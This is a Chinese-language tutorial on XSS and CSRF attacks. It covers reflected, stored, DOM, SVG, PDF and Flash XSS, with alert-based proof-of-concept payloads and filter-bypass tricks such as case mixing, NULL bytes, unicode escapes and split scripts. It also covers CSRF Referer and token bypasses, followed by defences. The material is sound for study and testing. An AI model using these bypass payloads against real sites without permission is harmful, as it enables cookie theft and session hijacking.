XSS跨站攻击&CSRF伪造

XSS跨站攻击&CSRF伪造
EZL1NGXSS跨站攻击&CSRF
[!NOTE]
本文档综合整理了两篇关于 XSS(跨站脚本攻击)的笔记内容,从基本原理、各类漏洞类型、攻击利用流程到防御措施,涵盖了反射型、存储型、DOM 型及其他拓展类型的 XSS 攻击技术。本文档仅用于技术交流、研究与学习目的,旨在帮助网络安全人员理解和掌握相关安全知识和防御技巧。文中涉及的示例、技术和工具均为理论探讨,禁止用于任何非法或未经授权的攻击活动。使用者应严格遵守所在国家和地区的法律法规,对因不当使用本文信息所导致的任何后果,作者不承担任何法律责任。
XSS
1. XSS 漏洞原理
1.1 跨站原理
- 当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。
- 这个“跨”实际上属于浏览器的特性,而不是缺陷。
- 浏览器同源策略:只有发布 Cookie 的网站才能读取 Cookie,若存在漏洞,可能会造成 Cookie 窃取、劫持用户 Web 行为,甚至结合 CSRF 进行针对性攻击。
2. XSS 基础类型
2.1 反射型 XSS
原理及攻击流程
- 构造恶意链接
攻击者构造一个包含恶意脚本的 URL,例如:
http://example.com/search?q=<script>恶意代码</script>
- 用户点击链接
用户被诱导点击该链接(钓鱼邮件、社交媒体等)。 - 服务器返回响应
服务器未对参数进行过滤,直接将参数回显到页面中。 - 浏览器解析执行
浏览器解析响应页面并执行恶意脚本,进而窃取 Cookie 或发起其它攻击。
验证与利用示例
基本验证
提交以下字符串给各参数,观察返回页面是否原样显示该 payload,从而判断是否存在漏洞:1
"><script>alert(document.cookie)</script>
可采用大小写混合、URL 编码、NULL 字节插入等手段绕过简单过滤:
1
2
3
4"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>
利用场景举例
标签属性值注入:
假设页面包含如下标签:1
<input type="text" name="name" value="test-text">
利用方法为终止双引号,注入
<script>alert(1)</script>
。JavaScript 字符串注入:
若页面中存在如下脚本:1
<script>var a='test-text'; var b=123; ...</script>
则可以用分号结束当前语句,注入
'; alert(1); var foo='
。URL 属性注入:
如页面包含<a href="test-text">Click here</a>
,则可利用javascript:alert(1);
替换 href 值。
2.2 存储型 XSS
攻击流程
- 攻击者在具有提交内容功能(如评论、留言、博客)的页面中输入恶意脚本(例如
<script>恶意代码</script>
)。 - 服务器未对输入进行有效过滤,将恶意脚本存储到数据库中。
- 其他用户访问该页面时,服务器读取并返回包含恶意脚本的内容。
- 用户浏览器解析页面时执行脚本,导致 Cookie 窃取、页面劫持等攻击。
注意事项
- 在测试存储型 XSS 时,需全面检查所有页面、管理后台、日志记录等处的数据回显。
- 文件上传处也可能成为存储型 XSS 的入口,例如将恶意代码嵌入图片木马中上传至用户头像区域。
2.3 DOM 型 XSS
攻击原理与流程
- 基于文档对象模型(DOM)的漏洞,攻击无需服务器响应直接在客户端执行。
- 流程示例:
- 攻击者构造一个含有恶意参数的 URL(例如:
http://example.com#<img src=x onerror=恶意代码>
)。 - 用户点击链接,浏览器解析 URL 后,客户端 JavaScript 通过读取
document.location
、document.URL
等 API 将参数写入 DOM。 - 动态生成的恶意代码被执行,但在页面源码中看不到输入的 payload,其存储在浏览器的 DOM 中。
- 攻击者构造一个含有恶意参数的 URL(例如:
示例代码
假设页面中有如下脚本:
1 | <script> |
如果在 URL 中传入 JavaScript 代码作为 message
参数,则该代码会被动态写入页面并执行。
3.查找与利用
1 | "><script>alert(document.cookie)</script> |
把这个字符串提交给每个应用程序页面的每个参数;
同时监控它的响应,如果攻击字符串原样出现在响应中,就可能存在XSS漏洞。
许多应用可能会经过黑名单等简单的初步过滤,试图阻止XSS攻击;
可以通过编码等方式绕过:
1 | "><ScRiPt>alert(document.cookie)</ScRiPt> |
当利用基于DOM的XSS漏洞时,攻击有效载荷并不在服务器的响应中返回,而是保存在浏览器的DOM中,并可被客户端javascript访问。
在这种情况下,以上基本验证无法发现XSS漏洞。
查找反射型XSS
测试引入脚本的反射
例1,标签属性值:
假设返回页面中包含以下脚本:
1 | <input type="text" name="name" value="test-text" > |
很明显,利用xss的方法是终止包含字符串的双引号,结束``标签
1 | "><script>alert(1)</script> |
例2,javascript字符串:
假设返回页面中包含以下脚本:
1 | <script>var a='test-text'; var b=123;...</script> |
用分号终止语句
1 | '; alert(1); var foo=' |
例3,包含URL的特性
假设返回页面中包含以下脚本:
1 | <a href="test-text">Click here</a>html |
这时,受控制的字符插入到一个``标签的href
属性中。
这个属性可能包含一个使用javascript:
协议的URL,利用:
1 | javascript:alert(1); |
脚本标签
事件处理器
有大量事件处理器可与各种标签结合使用,用于执行脚本。
一些示例,可在不需要任何用户交互的情况下执行脚本:
1 | <style onreadystatechange=alert(1)></style> |
脚本伪协议
脚本伪协议可用在任何位置,以在需要URL的属性中执行行内脚本。
1 | <object data=javascript:alert(1)></object> |
避开过滤:HTML
标签名称
改变字符大小写
1 | <iMg onerror=alert(1) src=a> |
插入NULL字节
1 | <[%00]img onerror=alert(1) src=a> |
标签名称后的空格
一些可用于替代空格的字符
1 | <img[%09]onerror=alert(1) src=a> |
属性名称
绕开一些检查以on
开头的过滤器
1 | <img o[%00]nerror=alert(1) src=a> |
属性分隔符,把多个属性分隔开
1 | <img onerror='alert(1)'src=a> |
属性值
可以用NULL字节或HTML编码属性值
1 | <img onerror=a[%00]lert(1) src=a> |
HTML编码 十六进制编码 base64编码 ASCII编码
以下属性可以被编码:
1 | href= |
字符集
有时可用一些非标准编码绕开过滤器
UTF-7、US-ASCII、UTF-16
拆分跨站:
当应用程序没有过滤<、>关键字却限制了字符长度时可用拆分跨站
1 | <script>z='<script src=';/* |
最终执行
1 | <script> |
避开过滤:脚本代码
有些过滤器可能阻止javascript关键字和表达式,有用的字符,比如引号、括号和圆点。
Unicode转义
1 | <script>a\u006cert(1)</script> |
如果能够使用eval命令,就能够将其它命令以字符串的格式传送给eval,从而执行其它 命令。
1 | <script>eval('a\u006cert(1)');</script> |
替代圆点
1 | <script>alert(document['cookie'])</script> |
查找利用存储型XSS
确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程类似。
但是,这两个过程之间也存在一些重要的区别;
在进行测试时必须记住这些区别,以确定尽可能多的漏洞。
(1) 向应用程序的每一个可能的位置提交一个特殊字符串后,必须反复检查应用程序的全部内容与功能;
(2) 如有可能,应检查管理员能够访问的区域,确定其中是否有可以被非管理用户控制的数据;
比如有些应用可以在浏览器查看日志,攻击者可留下恶意的HTML日志加以利用;
(3) 检查应用的整个流程,确保测试彻底,检查任何可控的带外通道,如HTTP消息头;
在上传文件中测试XSS
如果应用程序允许用户上传可被其它用户查看下载的文件,就会出现保存型XSS,这种漏洞常被人们忽略。
测试时,首先上传一个验证性的HTML文件。
如果该文件被接受,则尝试以正常方式下载该文件。
如果应用程序按照原样返回最初的文件,并且脚本被执行,则应用肯定易于受到攻击。
例:可把XSS的payload做成图片木马,上传到用户头像(用各种方法去绕过上传限制)
查找并利用DOM型的XSS漏洞
确定基于DOM型的XSS漏洞,一种有效的方法是,检查所有客户端JavaScript,
看其中是否使用任何可能会导致漏洞的DOM属性。
工具DOMTracer (opens new window)可自动完成这个测试过程。
检查每一段客户端JavaScript,看其中是否出现以下API
它们可用于访问通过一个专门设计的URL控制的DOM数据;
1 | document.location |
在每一个使用上述API的位置,仔细检查那里的代码,确定应用程序如何处理用户可控的数据;
以及是否可以使用专门设计的输入来执行JavaScript。
尤其注意检查并测试控制的数据被传送至以下任何一个API的情况
1 | document.write() |
片段技巧:服务器不解析url中#后的内容
4. 拓展类型 XSS
除了基础的反射型、存储型和 DOM 型 XSS 外,还有其他一些 XSS 漏洞类型,如下所示:
3.1 MXSS(Mutation XSS)
原理:利用浏览器 DOM 解析机制中的 HTML 序列化与反序列化差异,触发恶意代码执行。
攻击流程
:
1
攻击者构造特殊 Payload → 用户输入触发 DOM 修改 → 浏览器解析时发生“变异” → 恶意代码被还原并执行 → 数据泄露或攻击
示例:
某些情况下,<img src=1 onerror=alert(1)>
可能因编码变异触发 onerror 事件。防御:避免直接操作
innerHTML
,使用安全的 DOM API(如setAttribute
)。
3.2 UXSS(Universal XSS)
原理:利用浏览器或浏览器扩展的漏洞,绕过同源策略直接执行跨域脚本。
攻击流程(以 CVE-2021-34506 为例)
:
1
攻击者构造恶意翻译请求 → 用户启用 Edge 翻译功能 → 浏览器解析翻译内容时触发 JS 执行 → 窃取 Cookie 或劫持会话
关键点
:
- 漏洞存在于浏览器内置功能(如翻译、扩展插件)。
- 攻击无需依赖服务器端缺陷,直接利用客户端漏洞。
防御:及时更新浏览器,禁用高风险扩展。
3.3 SVG-XSS
原理:在 SVG 文件中嵌入 JavaScript 代码,当浏览器渲染 SVG 时触发执行。
攻击流程:
1
构造含恶意脚本的 SVG 文件 → 上传至支持 SVG 的网站 → 用户访问 SVG 文件 → 浏览器解析执行内嵌脚本 → 攻击生效
示例代码:
1
2
3<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
<script>alert(1)</script> <!-- 部分浏览器会执行 -->
</svg>防御:
- 服务器限制 SVG 上传,过滤
<script>
标签和事件属性(如onload
)。 - 使用 CSP 头禁止内联脚本。
- 服务器限制 SVG 上传,过滤
3.4 PDF-XSS
原理:PDF 文件支持嵌入 JavaScript,当用户打开 PDF 时触发恶意代码执行。
攻击流程
:
1
使用 PDF 编辑器嵌入 JS 代码 → 上传 PDF 至目标网站 → 用户访问 PDF 直链 → PDF 阅读器解析执行 JS → 触发攻击(如窃取本地文件)
实现步骤
(以迅捷 PDF 编辑器为例):
- 创建 PDF 时添加动作:
this.alert('XSS');
- 上传 PDF 并获取直链地址(如
http://example.com/file.pdf#malicious=javascript:alert(1)
)。
- 创建 PDF 时添加动作:
防御:禁用 PDF 阅读器的 JavaScript 功能,检查文件内容。
3.5 FLASH-XSS
原理:利用 Flash 的
ExternalInterface
接口调用页面中的 JavaScript 函数。攻击流程:
1
构造恶意 SWF 文件 → 用户访问含 SWF 的页面 → Flash 读取外部参数调用 JS → 执行任意函数(如弹窗、跳转)
示例代码
(Adobe Flash CS6):
1
2
3// 获取 URL 参数并调用 JS 函数
var param:String = root.loaderInfo.parameters.m;
flash.external.ExternalInterface.call(param);触发方式:访问 URL:
http://example.com/swf_file.swf?m=alert(/xss/)
防御:
- 反编译 SWF 检查危险函数(如
ExternalInterface.call
)。 - 禁用 Flash 或升级至安全版本(Flash 已停止维护)。
- 反编译 SWF 检查危险函数(如
3.6 XSS 类型对比表
类型 | 触发载体 | 依赖条件 | 攻击范围 | 防御难点 |
---|---|---|---|---|
MXSS | DOM 变异 | 浏览器解析差异 | 客户端 | 动态变异难以预测 |
UXSS | 浏览器漏洞 | 未修复的浏览器/扩展缺陷 | 跨域 | 客户端环境不可控 |
SVG-XSS | SVG 文件 | 允许上传 SVG 且未过滤 | 同域/跨域 | SVG 内容复杂性高 |
PDF-XSS | PDF 文件 | PDF 阅读器启用 JS | 本地/在线 | 文件内容隐蔽性强 |
FLASH-XSS | SWF 文件 | Flash 插件未禁用 | 同域/跨域 | Flash 遗留风险 |
4. 攻击利用流程与攻击点
4.1 攻击利用基本流程
反射型 XSS 攻击流程:
1
攻击者构造恶意链接 → 用户点击链接 → 服务器返回含恶意代码的响应 → 浏览器解析执行恶意代码 → 用户数据被窃取或攻击
存储型 XSS 攻击流程:
1
攻击者提交恶意内容到服务器 → 内容存储至数据库 → 其他用户访问页面 → 服务器返回含恶意代码的页面 → 浏览器解析执行恶意代码 → 持续攻击其他用户
DOM 型 XSS 攻击流程:
1
攻击者构造恶意 URL → 用户点击链接 → 浏览器解析 URL 并修改 DOM → 客户端脚本处理恶意参数 → 动态生成恶意代码并执行 → 用户数据被窃取
4.2 常见攻击点
- 数据交互处:
get、post、headers,反馈与浏览,文本编辑器,各类标签插入和自定义。 - 数据输出处:
用户资料、数据输出、评论、留言、关键词、标签、说明,以及文件上传。 - 攻击利用方式:
- 盲打
- COOKIE 盗取
- 凭据窃取
- 页面劫持
- 网络钓鱼
- 权限维持
注意:
不适用 session 鉴权。
5. 防御措施
5.1 防止反射型与存储型 XSS
- 确认输入
- 限制输入长度
- 仅允许合法字符(可通过正则表达式校验)
- 根据数据类型设置不同的验证规则(如姓名、邮箱、账号等)。
- 确认输出
- 对用户提交的数据进行 HTML 编码和净化后再输出,避免直接插入页面中。
- 消除危险插入点
- 避免在现有 JavaScript 代码中直接插入用户可控数据;
- 对于标签属性中需要传入 URL 的场景,避免直接嵌入用户输入。
- 允许有限的 HTML
- 对允许用户提交 HTML 格式内容的场景(如博客、论坛的富文本编辑器),使用成熟的过滤框架(如 OWASP AntiSamy)来验证提交的 HTML 标记。
5.2 防止 DOM 型 XSS
确认输入
- 客户端:确认将要插入到文档中的数据仅包含字母、数字和空白符。
- 服务端:对 URL 数据进行严格确认,包括参数个数、名称大小写及值的合法性。
确认输出
在将用户可控的 DOM 数据插入到文档之前,进行 HTML 编码。例如:
1
2
3
4
5
6
7
8
function reinit(str)
{
var d = document.createElement('div');
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}
5.3 其他防御措施
- Content Security Policy (CSP)
- 严格的 CSP 能禁止加载外域代码、禁止内联脚本执行以及未授权的脚本执行,减少复杂攻击逻辑和数据泄露风险。
- 输入内容长度控制
- 对不受信任的输入限定合理长度,虽然无法完全防止 XSS,但能增加攻击难度。
- HTTP-only Cookie
- 通过设置 HTTP-only 属性,禁止 JavaScript 读取某些敏感 Cookie,即使 XSS 成功也无法窃取这些 Cookie。
- 验证码
- 防止脚本冒充用户提交危险操作。
6. 常见工具
- **蓝莲花(BlueLotus)、beef**:常用于测试与利用 XSS 漏洞。
CSRF
1. CSRF 攻击基础概述
- 定义与原理
CSRF(跨站请求伪造)是一种利用用户已登录状态下对网站信任的攻击方式。攻击者通过伪造请求,利用用户浏览器自动携带的 Cookie 以及其他认证信息,向目标服务器发送恶意请求,使服务器误以为是用户本人操作,从而完成修改数据、转账、发帖等未授权操作。 - 攻击场景
- 用户在登录状态下访问一个含有恶意代码的第三方网站。
- 该恶意页面通过构造请求自动提交到目标网站,借助浏览器自动附带的认证信息完成操作。
- 攻击者可利用黑盒测试工具生成 CSRF PoC(概念验证)文件,并修改数据包参数,使攻击在受害者访问时立即触发。
2. 无防护 CSRF 的检测与利用
- 检测方法
- 黑盒测试:攻击者手动构造恶意请求,观察目标系统是否存在 CSRF 防护漏洞。
- 白盒审计:查看应用代码是否存在对请求中 token、Referer 等字段的验证,如果没有任何检测机制,则表明系统处于无防护状态。
- 利用流程
- 生成请求:利用 BurpSuite 等工具,通过“Engagement tools → Generate CSRF Poc”生成标准的 CSRF 测试请求。
- 自动触发:调整生成的 PoC 数据包,使得当受害者访问攻击者控制的页面(或配合 XSS 利用)时,请求能自动提交,而不需要用户额外的操作。
- 实施攻击:受害者访问恶意页面后,构造的请求会在后台自动提交,借助用户现有的登录状态执行攻击操作。
3. Referer 同源校验的防护机制与绕过
- 防护原理
- 同源校验:服务器在接收到请求时,会检查 HTTP 请求头中的 Referer 字段,验证请求来源是否与目标网站处于同一域或同一源。只有来自合法来源的请求才能通过验证。
- 常见问题
- 某些浏览器或在特定场景下(如新窗口、隐私模式或安全设置)可能不携带 Referer 信息,从而使得校验机制失效。
- 开发人员为了避免因空 Referer 导致用户无法正常操作,可能会在代码中放宽对 Referer 的判断,从而留下绕过空间。
- 绕过手段
- 配合文件上传:利用上传漏洞,将文件上传至目标网站或攻击者控制的站点,通过修改上传逻辑绕过 Referer 检查。
- 存储型 XSS 配合:在页面中嵌入 XSS 代码,通过动态修改 DOM 或修改请求头信息,从而伪造或改变 Referer。
- 利用页面 meta 标签:在页面头部加入
<meta name="referrer" content="no-referrer">
,使得浏览器发送请求时不携带 Referer,从而绕过服务器对来源的严格验证。 - 代码逻辑漏洞:在某些情况下,由于开发者对空 Referer 的处理不够严谨,攻击者可以直接将 Referer 改写或置空,从而通过验证。
4. CSRF Token 校验及其绕过技术
- 防护原理
- 通过在每个关键请求中加入随机生成的 token(令牌),服务器在处理请求前验证 token 的有效性。
- 该 token 通常在页面加载时随机生成,并存储在 Cookie 或隐藏字段中,每次请求时必须携带相同的 token,确保请求来源合法。
- 防御效果
- 即使攻击者能够伪造请求,没有正确的 token,服务器也会拒绝该请求,从而阻止攻击成功。
- Token 的随机性和一次性使用是防御 CSRF 攻击的关键。
- 绕过方式
- Token 复用:如果服务器对 token 的生成或校验不够严谨,可能允许相同的 token 在多次请求中重复使用。攻击者可以利用这一点复用已知的 token 来伪造请求。
- Token 删除:部分代码逻辑漏洞允许攻击者直接删除请求中的 token 参数,若服务器对 token 的存在与否没有做严格判断,则可能放行缺少 token 的请求。
- Token 值置空:攻击者可以将 token 参数的值置为空(但参数名仍存在),利用代码未严格验证 token 内容的漏洞,达到绕过验证的目的。
5. 综合利用思路
- 结合多种漏洞利用
- 攻击者通常不会单独依赖一种绕过方式,而是结合 XSS 与 CSRF 等多种攻击手段。例如,利用 XSS 先注入恶意代码,然后在页面中自动构造并提交 CSRF 请求,从而在用户毫无察觉的情况下完成攻击。
- 工具辅助
- 工具如 BurpSuite 可以生成标准的 CSRF PoC,同时配合手动测试和调试,可以有效地验证和利用各种绕过机制。
- 针对 Referer 和 Token 的漏洞,结合代码审计及模拟各种请求场景,是检测和利用的重要手段。
6. 防御建议与安全实践
- 严格验证来源
- 除了 Referer 检查,建议结合 Origin 头验证以及其他认证机制,构建多层防护体系,防止单点失效。
- Token 管理
- 保证 CSRF token 的随机性、唯一性以及一次性使用。定期更新 token,并在服务器端进行严格校验。
- 对于 token 缺失或异常的请求,建议直接拒绝,并在日志中记录详细信息以便后续审查。
- 提高代码安全性
- 在开发时应充分考虑各种绕过手段,避免因代码逻辑不严谨而留下漏洞。
- 对所有涉及用户敏感操作的请求进行严格审计,确保防护措施的全面有效。
- 安全教育与测试
- 开发人员和测试人员应加强对 CSRF 攻击原理及防御机制的了解,定期进行安全测试和代码审计。
- 可利用自动化工具配合手工测试,全面评估系统的安全防护水平,及时修补存在的安全漏洞。